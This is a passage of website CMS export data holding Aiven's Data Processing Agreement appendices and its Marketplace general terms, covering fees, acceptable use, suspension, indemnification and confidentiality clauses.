uploaded by the Customer."}],"markDefs":[],"style":"normal"},{"_key":"ef14e5dbc67c","_type":"block","children":[{"_key":"570436a694a73","_type":"span","marks":[],"text":"Data subjects"}],"markDefs":[],"style":"h4"},{"_key":"ddaed11deae0","_type":"block","children":[{"_key":"bfb5b65b32160","_type":"span","marks":[],"text":"Prospects, customers, business partners, and vendors of the Customer(who are natural persons)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"baec33c55e98","_type":"block","children":[{"_key":"9c47b761bb4a0","_type":"span","marks":[],"text":"Employees or contact persons of the Customer’s prospects, customers, business partners and vendors"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f55c4c91e4f8","_type":"block","children":[{"_key":"3441902fb09b0","_type":"span","marks":[],"text":"Employees, agents, advisors, and freelancers of the Customer (who are natural persons)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b21b55f3c0a9","_type":"block","children":[{"_key":"ba8e21519e890","_type":"span","marks":[],"text":"Individuals authorized by the Customer under the Agreement"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"acb971dce4be","_type":"block","children":[{"_key":"1f2fc76f972b0","_type":"span","marks":[],"text":"Categories of personal data"}],"markDefs":[],"style":"h4"},{"_key":"5d54d4352e7f","_type":"block","children":[{"_key":"91ea332b79190","_type":"span","marks":[],"text":"Full name"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14d5080c5564","_type":"block","children":[{"_key":"ddb3efacb18c0","_type":"span","marks":[],"text":"Title, position"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3403678bd2f4","_type":"block","children":[{"_key":"691c0996804b0","_type":"span","marks":[],"text":"Email address, address"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e6033b0fe20e","_type":"block","children":[{"_key":"821cc6d7700b0","_type":"span","marks":[],"text":"Phone number"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ec430c961a2d","_type":"block","children":[{"_key":"0b080a7e4ce20","_type":"span","marks":["strong"],"text":"Special categories of personal data "},{"_key":"0b080a7e4ce21","_type":"span","marks":[],"text":"- No special categories of Personal Data are processed. "}],"markDefs":[],"style":"normal"},{"_key":"e04431e65553","_type":"block","children":[{"_key":"0b080a7e4ce22","_type":"span","marks":["strong"],"text":"Subject matter of the processing"},{"_key":"0b080a7e4ce23","_type":"span","marks":[],"text":" - Hosting, storing and maintenance for the data Customer has input to the Cloud Services. "}],"markDefs":[],"style":"normal"},{"_key":"00b773fcd685","_type":"block","children":[{"_key":"b5942919f5c8","_type":"span","marks":[],"text":"For clarity, the Customer is the Data Controller of, and this DPA is only applied to, the Personal Data input to the Cloud Services by Customer. "}],"markDefs":[],"style":"normal"},{"_key":"e4ac3ba5fe8b","_type":"block","children":[{"_key":"0b080a7e4ce24","_type":"span","marks":[],"text":"Appendix 2 - Aiven’s technical and organizational safety measures"}],"markDefs":[],"style":"h3"},{"_key":"7dbb071e2caf","_type":"block","children":[{"_key":"61ce47bde8e7","_type":"span","marks":[],"text":"This Appendix 2 forms a part of this DPA describing Aiven’s technical and organizational safety measures."}],"markDefs":[],"style":"normal"},{"_key":"34156ab9cad6","_type":"block","children":[{"_key":"f3046a902561","_type":"span","marks":[],"text":"Description of the technical and organizational security measures implemented by Aiven."}],"markDefs":[],"style":"normal"},{"_key":"93fb818adf16","_type":"block","children":[{"_key":"c2f08c6a8bff","_type":"span","marks":[],"text":"Aiven will maintain administrative, physical, and technical safeguards for protection of the security, confidentiality and integrity of Personal Data processed on the Cloud Services as applicable to the specific Cloud Service purchased by the Customer. Aiven complies and is committed to comply with the ISO 27001 certificate to provide sufficient protection for the Personal Data processed under the DPA."}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-11-10T10:45:00.000Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"This DPA shall set out the terms and conditions for the processing of Personal Data by Aiven on behalf of the Customer under the Agreement.\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-73035f58a6549bdc6aa65b0a6fa770dd168a37b8-1200x630-jpg","_type":"reference"}},"metaTitle":"Data Processing Agreement | Aiven"},"slug":{"_type":"slug","current":"/dpa"},"title":"Aiven Data Processing Agreement"} {"__i18n_lang":"en","_createdAt":"2023-01-23T14:24:21Z","_id":"7e005085-e7e8-4f33-9be2-6e693acba1a2","_rev":"9lf0N1nj0tQugwM8VKXx72","_type":"term","_updatedAt":"2024-03-04T14:22:10Z","content":[{"_key":"5ad7178cd9cb","_type":"block","children":[{"_key":"456ad33344060","_type":"span","marks":[],"text":"General"}],"markDefs":[],"style":"h2"},{"_key":"fd8ebf6d69fa","_type":"block","children":[{"_key":"75ce7979aeac0","_type":"span","marks":[],"text":"This Agreement governs the use of the Aiven Services provided through Marketplace and consists of these Aiven Marketplace terms and conditions ("},{"_key":"75ce7979aeac1","_type":"span","marks":["strong"],"text":"\"General Terms\""},{"_key":"75ce7979aeac2","_type":"span","marks":[],"text":"), the Service Level Agreement ("},{"_key":"75ce7979aeac3","_type":"span","marks":["strong"],"text":"\"SLA\""},{"_key":"75ce7979aeac4","_type":"span","marks":[],"text":"), the Data Processing Agreement ("},{"_key":"75ce7979aeac5","_type":"span","marks":["strong"],"text":"\"DPA\") "},{"_key":"75ce7979aeac6","_type":"span","marks":[],"text":"and the Support Services Description. The Customer accepts this Agreement either by indicating acceptance (e.g. by clicking a checkbox) when first registering to use the Cloud Services through Marketplace or executing an Order Form that references these General Terms and Marketplace Provider’s Terms. If the individual accepting this Agreement is accepting on behalf of a company or other legal entity, such individual represents that they have the authority to bind such entity and its affiliates to this Agreement. If the individual accepting this Agreement does not have such authority, or does not agree with this Agreement, such individual must not accept this Agreement and may not use the Cloud Services."}],"markDefs":[],"style":"normal"},{"_key":"6ccf9361be77","_type":"block","children":[{"_key":"e02b1a5285300","_type":"span","marks":[],"text":"If Customer registers for a free trial of the Cloud Services, the applicable provisions of these General Terms and Marketplace Provider’s Terms will also govern that free trial. The Cloud Services may not be accessed for purposes of monitoring their availability, performance, or functionality, or for any other benchmarking or competitive purposes."}],"markDefs":[],"style":"normal"},{"_key":"ff22dc63b0ba","_type":"block","children":[{"_key":"ac1957be26140","_type":"span","marks":[],"text":"This Agreement was last updated on 4th of March 2024. It is effective between Aiven and the Customer as of the date of Customer accepting this Agreement."}],"markDefs":[],"style":"normal"},{"_key":"c6267ddb9137","_type":"block","children":[{"_key":"500f28a5c7020","_type":"span","marks":[],"text":"1. Cloud Services"}],"markDefs":[],"style":"h3"},{"_key":"a030d4d1ca10","_type":"block","children":[{"_key":"b6baaf73fc25","_type":"span","marks":[],"text":"Aiven will provide the Cloud Services available in the Marketplace to the Customer substantially as set out at Aiven's Web Site, the Marketplace and in this Agreement. The available Services in different Marketplaces may vary. The Customer may order Cloud Services by an Order Form or through its Marketplace account subject to the following: (1) orders may be made by the Customer after registering at the applicable Marketplace or automatically by using APIs of the Cloud Services; (2) the Customer shall be responsible for any orders made under the Customer's account, whether by the Customer itself, by its authorized users, or by the Customer’s data systems automatically, and shall be responsible for the payment of all Fees based on orders made under the Customer's account; (3) no order made by the Customer is valid until accepted by Aiven. Aiven shall be deemed to have accepted the order if it supplies the Cloud Services to the Customer. Aiven reserves the right to place controls and restrict the Customer's orders of the Cloud Services; (4) After Aiven having accepted the order, Aiven will provide the Cloud Services to the Customer without undue delay. All orders are subject to this Agreement and the applicable Marketplace Provider’s Terms."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a57c15da9988","_type":"block","children":[{"_key":"41b2b2b03c660","_type":"span","marks":[],"text":"Unless set out to the contrary, the Cloud Services are supplied on an \"as is\" and \"as available\" basis without any guaranteed service levels. Any applicable service levels have been set out in the SLA and are only applicable to the individual Cloud Service. A failure to comply with any service level shall not, however, be construed to be a breach of this Agreement, but may give the Customer the right to receive a compensation set out in the SLA. Such compensation shall be the Customer's sole remedy and Aiven's sole liability as regards any non-compliance with any service levels."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e0e267317624","_type":"block","children":[{"_key":"c9cc269184f20","_type":"span","marks":[],"text":"The Cloud Services are updated from time to time due to their inherent nature. Aiven reserves the right to make changes to the Cloud Services at any time. If a change made by Aiven has an adverse effect on the agreed contents of the Cloud Services or the agreed service levels (if any), Aiven shall inform the Customer of such change at least thirty (30) days before the effective date of the change. In such a case the Customer shall have the right to terminate applicable Cloud Services in accordance with Section 12.2 or terminate the relevant Order Form subject to a thirty (30) days' written notice. The termination notice must be delivered to Aiven in writing prior to the effective date of the change."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"86e17ef30da8","_type":"block","children":[{"_key":"e3170f13b2890","_type":"span","marks":[],"text":"Aiven shall always have the right, but shall have no obligation, to make such changes to the Cloud Services that (a) concern or relate to the production environment of the Cloud Services and do not have an adverse effect on the agreed contents of the Cloud Services or the agreed service levels or hosting locations, (b) are necessary to prevent any data security risk to the Cloud Services, or (c) result from applicable laws or from a court or administrative order. The Customer shall not have the right to terminate any separately agreed Order Form due to any such changes."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"cc94442e3063","_type":"block","children":[{"_key":"6a12387a6dab0","_type":"span","marks":[],"text":"All facilities used to store and process the Customer's data will adhere to reasonable security standards no less protective than the security standards at facilities where Aiven (or its Subprocessor as relevant) processes and stores its own information of a similar type. Aiven has committed to comply with the information security standard ISO 27001."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"98ca484091a5","_type":"block","children":[{"_key":"d8b819bcb51b0","_type":"span","marks":[],"text":"The Customer uses Beta Services and/or Beta Features in its sole discretion and at its own risk. Beta Services and Beta Features may not be as reliable or as available as the Cloud Services. Beta Services and Beta Features may be changed at any time without notice and may not reach general availability status, i.e. similar status as the Cloud Services. Aiven will have no liability arising out of or in connection with the Beta Services and/or Beta Features."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"af01994a2a93","_type":"block","children":[{"_key":"059248e847930","_type":"span","marks":[],"text":"2. Support and Additional Services"}],"markDefs":[],"style":"h3"},{"_key":"86bf7bb92b0c","_type":"block","children":[{"_key":"2f1bb5f800e80","_type":"span","marks":[],"text":"The Customer may choose to order optional Support Services as available in the Marketplace. A description of the Support Services is set out in the Support Services Description, and Aiven shall provide the Support Services to the Customer substantially as set out in the Support Services Description, the Marketplace and in this Agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"497347de2821","_type":"block","children":[{"_key":"1e0eb79e615f0","_type":"span","marks":[],"text":"If the Customer has selected a support tier with service levels applicable to the Support Services, the Support Services shall be provided in accordance with such agreed service levels. A failure to comply with any service level shall not, however, be construed to be a breach of this Agreement, but may give the Customer the right to receive a compensation set out in the Support Services Description. Such compensation shall be the Customer's sole remedy and Aiven's sole liability as regards any non-compliance with any service levels."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"cc23e8ea0c2f","_type":"block","children":[{"_key":"959561d5e3920","_type":"span","marks":[],"text":"Aiven shall use reasonable commercial efforts to correct at no additional charge any reproducible errors reported by Customer. Aiven shall review all requests for improvements and new functionality, but Aiven shall have no obligation to provide any modifications to the Cloud Service."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"49ce0d912c6f","_type":"block","children":[{"_key":"3e4f5a508f53","_type":"span","marks":[],"text":"The Customer may choose to order optional Additional Services. The Additional Services are described at the Website or in an Order Form, as applicable."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"38b8671c36cb","_type":"block","children":[{"_key":"6a41216363d90","_type":"span","marks":[],"text":"3. Fees and Payment Terms"}],"markDefs":[],"style":"h3"},{"_key":"314d1238ee15","_type":"block","children":[{"_key":"ff71c3bb287d0","_type":"span","marks":[],"text":"The rates applicable for the Services may be reviewed at Website, the Marketplace and/or in the Order Form as applicable. Actual Fees for Services will vary depending on the Customer's use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"d467f429b7df","_type":"block","children":[{"_key":"40b2d2e184d80","_type":"span","marks":[],"text":"All Fees will be billed and payable according to the applicable Marketplace Provider’ Terms and/or to the Order Form as applicable.."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8224f27fe215","_type":"block","children":[{"_key":"ec977f7a74c50","_type":"span","marks":[],"text":"Aiven reserves the right to increase the rates applicable to the Cloud Services where this is justified due to the general increase of Aiven's costs and expenses of production (such as but not limited to general increase of labor costs and expenses). Further, Aiven may increase the rates applicable to the Cloud Services by an amount corresponding to an increase of costs of relevant third party offerings. Aiven will inform the Customer of such change at least thirty (30) days before implementing such change. Continuous use of the Cloud Services will be deemed as acceptance of the new Fees."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c8d08d66c813","_type":"block","children":[{"_key":"b58202c72f770","_type":"span","marks":[],"text":"All rates and Fees are set out without value added tax (VAT) or any other applicable sales tax, which shall be added to the rates and Fees in accordance with the then-applicable tax laws and regulations."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"aefb78aa4efb","_type":"block","children":[{"_key":"8b2a9a14eedb0","_type":"span","marks":[],"text":"4. Customer's General Obligations"}],"markDefs":[],"style":"h3"},{"_key":"c21b8fd2eeaf","_type":"block","children":[{"_key":"7c43482cc99a0","_type":"span","marks":[],"text":"The Customer shall be responsible for its own devices, systems, applications, connections and software used to access the Cloud Services. The Customer shall be responsible for the protection of the Customer's data communications and data systems and costs for communications and other comparable costs related to use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"3237d52b1004","_type":"block","children":[{"_key":"38a0510b46610","_type":"span","marks":[],"text":"The Customer may authorize users to use the Cloud Services under the Customer's account (e.g. for the purposes of using the Customer's databases). The Customer shall ensure that any users it authorizes to use the Cloud Services under the Customer's account comply with the Marketplace Provider’s Terms and this Agreement at all times and use the Cloud Services only in accordance with this Agreement and the Acceptable Use Policy. The Customer shall be responsible for any use of the Cloud Services under the Customer's account."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"32afaecd28b4","_type":"block","children":[{"_key":"646ab183b7970","_type":"span","marks":[],"text":"The Customer shall be responsible for ensuring that its authorized users maintain their user names and passwords diligently and do not disclose them to third parties. The Customer undertakes to inform Aiven without delay if any password has been revealed to a third party or if the Customer has a reason to suspect misuse of a user name or password. The Customer's liability for the misuse of the Cloud Services by the use of the user name or password of its user shall expire when Aiven has received Customer's written and sufficiently detailed notice of such misuse. The Customer shall change the password required for the use of the Cloud Services upon written request of Aiven if necessary due to data security risk to the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"012b98571bda","_type":"block","children":[{"_key":"d8fd9c72278f0","_type":"span","marks":[],"text":"The Customer is solely responsible for making appropriate backups of its data, and Aiven or its Subprocessors shall in no way be liable for any deletion of or failure to store any data of the Customer or other communications maintained or transmitted to the use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e049837c71ee","_type":"block","children":[{"_key":"7a003a34e8da0","_type":"span","marks":[],"text":"5. Intellectual Property Rights"}],"markDefs":[],"style":"h3"},{"_key":"80e7c275fcb1","_type":"block","children":[{"_key":"0201196ce2a10","_type":"span","marks":[],"text":"Subject to the terms of this Agreement and subject to the due payment of all Fees, the Customer shall have a limited, non-exclusive, non-transferable right to use the Cloud Services during the term of this Agreement or the term of the relevant Order Form."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"48f713f0dc02","_type":"block","children":[{"_key":"0975af9e3f740","_type":"span","marks":[],"text":"All rights, title and interest, including all Intellectual Property Rights in and to the Services, and any changes thereto shall belong exclusively to Aiven or its licensors. Except for the express license to use the Cloud Services granted to the Customer under and in accordance with the terms and conditions of this Agreement, the Customer shall have no and shall not by virtue of this Agreement obtain any rights, license or interests in and to the Services or any Intellectual Property Rights pertaining thereto."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"dac866d40440","_type":"block","children":[{"_key":"a2894adf1bf90","_type":"span","marks":[],"text":"The Customer shall be solely responsible for its use of the Cloud Services including any breach of this Agreement or the Marketplace Provider’s Terms by the Customer or any of its authorized users."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"d76602e93b98","_type":"block","children":[{"_key":"fa2c64dfe7660","_type":"span","marks":[],"text":"All licenses granted to the Customer under the Agreement shall terminate upon the termination of the Agreement for any reason."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6182718bf765","_type":"block","children":[{"_key":"6b11768042610","_type":"span","marks":[],"text":"6. Personal Data"}],"markDefs":[],"style":"h3"},{"_key":"0b5e0505d2b8","_type":"block","children":[{"_key":"0fc4ed45bf220","_type":"span","marks":[],"text":"To the extent the Customer inputs any personal data into the Cloud Services and the processing is subject to the EU General Data Protection Regulation (2016/679, the GDPR), the Parties acknowledge that the Customer acts as a data controller and Aiven is the data processor processing personal data together with its Subprocessors on behalf of the Customer for the purpose of providing the Cloud Services. All such processing of the Customer's personal data by Aiven is subject to the DPA."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b73f677de5d0","_type":"block","children":[{"_key":"5c758f6385eb0","_type":"span","marks":[],"text":"7. Acceptable Use Policy"}],"markDefs":[],"style":"h3"},{"_key":"fe3cf88a1a1b","_type":"block","children":[{"_key":"2810a5fed917","_type":"span","marks":[],"text":"The Customer shall use and ensure that its authorized users use the Cloud Services in accordance with the following acceptable use policy (\"Acceptable Use Policy\"). The Customer is solely responsible for ensuring that the Cloud Services are not used:"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"71ad3cc64446","_type":"block","children":[{"_key":"f3349f332d25","_type":"span","marks":[],"text":"to violate, or encourage the violation of, the legal rights (including without limitation Intellectual Property Rights) of others;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ce6f1c140667","_type":"block","children":[{"_key":"b07b5018915f","_type":"span","marks":[],"text":"to engage in, promote or encourage any illegal activity;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"fd6cc7edfbad","_type":"block","children":[{"_key":"9c9fdcf1825b","_type":"span","marks":[],"text":"for any unlawful, invasive, infringing, defamatory, offensive, harmful or fraudulent purpose (for example, this may include phishing, creating a pyramid scheme or mirroring a website);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c7be1c1ed938","_type":"block","children":[{"_key":"61e3eef1d77b","_type":"span","marks":[],"text":"to intentionally distribute viruses, worms, Trojan horses, corrupted files, hoaxes, or other items of a destructive or deceptive nature;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ea96c2a1c7dc","_type":"block","children":[{"_key":"017662ccc632","_type":"span","marks":[],"text":"to violate the security or integrity of any network, computer or communications system, software application or network or computing device (such violations to include without limitation unauthorized access, interception of data or traffic or falsification of origin);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"afb4ca66adab","_type":"block","children":[{"_key":"0e63f275ca4a","_type":"span","marks":[],"text":"to make connections to any users, hosts or networks unless the Customer has permission to communicate with them (such network abuses to include without limitation monitoring or crawling, denial of service attacks, intentional interference, operating open proxies, open mail relays or open recursive domain name servers, or to avoiding system restrictions);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"213b2dd47807","_type":"block","children":[{"_key":"2c60072aab8d","_type":"span","marks":[],"text":"to interfere with the use of the Cloud Services, or the equipment used to provide the Cloud Services, by others;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2f7ddeb91dea","_type":"block","children":[{"_key":"467032ef84b0","_type":"span","marks":[],"text":"to disable, interfere with or circumvent any aspect of the Cloud Services;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"be9862980e45","_type":"block","children":[{"_key":"b53c21ce75ae","_type":"span","marks":[],"text":"to generate, distribute, publish or facilitate unsolicited mass email, promotions, advertising or other solicitations (\"spam\"), including alteration or obscuring mail headers or assuming sender's identities, collecting replies to messages sent from a third party provider if such messages would violate the policies set out herein or comparable policies of such third party; or"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9b1d6c84a22d","_type":"block","children":[{"_key":"56668d6bbbe4","_type":"span","marks":[],"text":"to use the Cloud Services, or any interfaces provided with the Cloud Services, to access any other product or service of Aiven, its Subprocessors or subcontractors, in a manner that violates their applicable terms of service."}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b1eb8efc5790","_type":"block","children":[{"_key":"3c02794b96b9","_type":"span","marks":[],"text":"Aiven (and its Subprocessors and subcontractors where appropriate) reserve the right but assume no obligation to review the Customer's use of the Cloud Services, including the Customer's data to ensure compliance with the Acceptable Use Policy and to discontinue any use by the Customer of the Cloud Services and removing any infringing data of the Customer. Aiven (and its Subprocessors and subcontractors where appropriate) may report suspected infringing activities to officials, regulators or other appropriate third parties, including the disclosure of appropriate information regarding the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6a8bb9923e7c","_type":"block","children":[{"_key":"d1d52f79a5de","_type":"span","marks":[],"text":"If the Customer becomes aware that its use of the Cloud Services infringes the Acceptable Use Policy set out herein, the Customer agrees to immediately cease the infringing use of the Cloud Services without separate notice. The Customer agrees to comply with any requests of Aiven as regards to any use of the Cloud Services that infringes the Acceptable Use Policy set out herein."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"95289d2e2ed9","_type":"block","children":[{"_key":"be1fb159b6e4","_type":"span","marks":[],"text":"\n8. Suspension and Discontinuation of Cloud Services"}],"markDefs":[],"style":"h3"},{"_key":"7be422687c47","_type":"block","children":[{"_key":"853291fae8180","_type":"span","marks":[],"text":"Aiven shall have the right to suspend the provision of the Cloud Services for a reasonable period of time if such is necessary in order to perform installation, change or maintenance work in respect of the Cloud Services or if such suspension results from installation, change or maintenance work in respect of public communication networks."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"07fe3875ed75","_type":"block","children":[{"_key":"2be1cbceab520","_type":"span","marks":[],"text":"Aiven shall have the right to suspend the provision of the Cloud Services and/or deny the Customer's access to the Cloud Services without first hearing the Customer due to (a) a significant data security risk to the Cloud Services, (b) if applicable law or a court or administrative order requires Aiven to do so, (c) if Aiven becomes aware of, or reasonably suspects, any activities of the Customer or its authorized users that infringe on the Acceptable Use Policy or if the Customer has violated these General Terms, Marketplace Provider’s Terms or other agreements or guidelines which maybe be associated with use of the Cloud Services (d) if the Cloud Services are used contrary to, or for a purpose prohibited by this Agreement, applicable laws or court or administrative orders, or (e) the Cloud Services are used in a manner that jeopardizes the provision of the Cloud Services to other users. Aiven shall promptly notify the Customer of the suspension of the Cloud Services under this Section as well as the grounds for such suspension and shall use its best efforts to resolve the issue with the Customer without undue delay."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c9599dc49bce","_type":"block","children":[{"_key":"6a8cc0c141920","_type":"span","marks":[],"text":"Aiven shall always have the right to suspend the Cloud Services, if the Customer is in default with its payment of undisputed Fees due under this Agreement and does not pay such Fees despite a request to pay within fourteen (14) days calculated from the date of such request. The suspension can be continued until the Customer has paid all Fees due under this Agreement, after which Aiven shall continue the provision of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5cd3dc45c6c1","_type":"block","children":[{"_key":"b3b1c53f262f0","_type":"span","marks":[],"text":"The Customer understands that the Cloud Services are hosted by a Subprocessor of Aiven chosen by the Customer from the options provided by Aiven on the Web Site. Such Subprocessors may reserve rights to discontinue their hosting at any time. Aiven shall not be liable in any way for any discontinuation of such services provided by Subprocessors. Aiven undertakes to inform the Customer of such discontinuation without delay after having become aware of any third party plans to discontinue the provision of hosting services affecting the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"fd70235360f3","_type":"block","children":[{"_key":"179fcd31c1600","_type":"span","marks":[],"text":"9. Indemnification"}],"markDefs":[],"style":"h3"},{"_key":"12be4d2208ff","_type":"block","children":[{"_key":"faa72c8dc7bc0","_type":"span","marks":[],"text":"Aiven agrees to defend the Customer, at Aiven's own expense, against any third party claims or actions where a third party claims that the Cloud Services infringe upon the Intellectual Property Rights of a third party valid in the European Economic Area (\"EEA\"), provided that the Customer: (a) notifies Aiven of such claim immediately upon receipt of notice thereof; (b) provides Aiven, free of charge, with all available information, permissions and assistance; (c) grants Aiven the sole and exclusive right to control the defense of the claim; and (d) does not agree on any settlement of such claim or action prior to a final judgment thereon by a competent court of law or court of arbitration, without the express prior written consent of Aiven."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4d184bb56ec8","_type":"block","children":[{"_key":"9f8b4f421ce20","_type":"span","marks":[],"text":"If the Customer has acted in accordance with the sub-list (a)-(d) of Section 9.1, Aiven shall pay any damages finally awarded to the third party claimant by a competent court of law or court of arbitration."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0e8924c44c2a","_type":"block","children":[{"_key":"02e9b6b64c770","_type":"span","marks":[],"text":"If Aiven justifiably deems that the Cloud Services infringe or may infringe upon any third party rights, Aiven shall have the right, at its own expense and in its sole discretion, to (a) acquire for the Customer the right to continue the use of the Cloud Services; or (b) replace the Cloud Services; or (c) modify the Cloud Services to the extent necessary to avoid the infringement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"3ad0bb350e39","_type":"block","children":[{"_key":"1fc78a8038120","_type":"span","marks":[],"text":"If none of the alternatives defined in Section 9.3 are available to Aiven on commercially reasonable terms and/or without the significant loss of time, Aiven shall have the right to terminate the Agreement in whole or in part subject to a notice period set by Aiven, upon which the Customer agrees to cease using the Cloud Services and Aiven agrees to reimburse the Fees paid by the Customer for the terminated Cloud Services, less a proportion equal to the time of use of the Cloud Services by the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e2c49443fb8f","_type":"block","children":[{"_key":"fba9543e95040","_type":"span","marks":[],"text":"The indemnity in this Section 9 shall not apply to, and Aiven is not liable for any claim that (a) is based on a claim by any Affiliate of the Customer; or (b) is based on the modification or alteration of the Cloud Services or a modification or alteration influencing the Cloud Services by the Customer or any third party; or (c) results from complying with any instructions, specifications or design given by the Customer or any third party under the command and control of the Customer; (d) arises or results from the use of the Cloud Services in combination with any software, equipment or products not developed or supplied by Aiven or which are contrary to instructions given by Aiven; or (e) could have been avoided by using the latest version of the Cloud Services made available by Aiven to the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"96d6d041aba4","_type":"block","children":[{"_key":"9e77b69402750","_type":"span","marks":[],"text":"This Section 9 sets out the entire liability of Aiven and the Customer's sole remedy in case of any infringement of any Intellectual Property Rights."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"09801636d86c","_type":"block","children":[{"_key":"a8a061f5069d0","_type":"span","marks":[],"text":"The Customer agrees to indemnify Aiven, at the Customer's own expense, against any claims made towards Aiven based on any information or data the Customer inputs to the Cloud Services, including without limitation claims that the Customer's data infringes third party intellectual property rights, Marketplace Provider’s Terms or that the data otherwise infringes applicable laws."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"08b3adad1fe4","_type":"block","children":[{"_key":"91ac768b8a980","_type":"span","marks":[],"text":"10. Confidentiality"}],"markDefs":[],"style":"h3"},{"_key":"39ece3441823","_type":"block","children":[{"_key":"a20df94c78b50","_type":"span","marks":[],"text":"Each Party shall keep in confidence all material and information received from the other Party and marked as confidential or which should be understood to be confidential (\"Confidential Information\"), and may not use such Confidential Information for any other purpose than those set forth in the Agreement. The confidentiality obligation shall, however, not apply to material and information, (a) which is or later becomes generally available or otherwise public; or (b) which the receiving Party has received from a third party without any obligation of confidentiality; or (c) which was rightfully in the possession of the receiving Party prior to receipt of the same from the disclosing Party without any obligation of confidentiality related thereto; (d) which a Party has independently developed without any use of or reference to the Confidential Information received from the other Party; or (e) which a Party is required to disclose under any mandatory law or by order of a court or governmental body of competent jurisdiction."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"64920710eee2","_type":"block","children":[{"_key":"4b7c17bc03d90","_type":"span","marks":[],"text":"Each Party shall promptly upon termination of the Agreement, or when the Party no longer needs the Confidential Information in question for the purpose of performing its obligations or exercising its rights under the Agreement, cease using the Confidential Information received from the other Party and, unless the Parties separately agree on destruction of such Confidential Information, return the Confidential Information in question (including all copies and reproductions thereof) to the other Party. Each Party shall, however, be entitled to retain the copies required by law or administrative orders applicable to such Party."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4224bbf3b856","_type":"block","children":[{"_key":"cd5290b326690","_type":"span","marks":[],"text":"Notwithstanding the confidentiality obligation set forth herein, each Party shall be entitled to use the general professional skills and experience acquired in connection with the performance of the Agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8b28eb859864","_type":"block","children":[{"_key":"091a02318b4f0","_type":"span","marks":[],"text":"The rights and obligations related to the Confidential Information shall survive the termination of this Agreement for any reason for a period of three (3) years from such termination."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1f881a8669a4","_type":"block","children":[{"_key":"edd83643ab7d0","_type":"span","marks":[],"text":"11. Limitation of Liability"}],"markDefs":[],"style":"h3"},{"_key":"82355fcb36ee","_type":"block","children":[{"_key":"898df6e7700f0","_type":"span","marks":[],"text":"The total aggregate liability of a Party towards the other Party under the Agreement shall not exceed (i) an amount equal to the Fees paid by the Customer to Aiven during the six (6) months preceding the event giving rise to the liability; or (ii) fifty thousand (50.000) Euro, whichever is 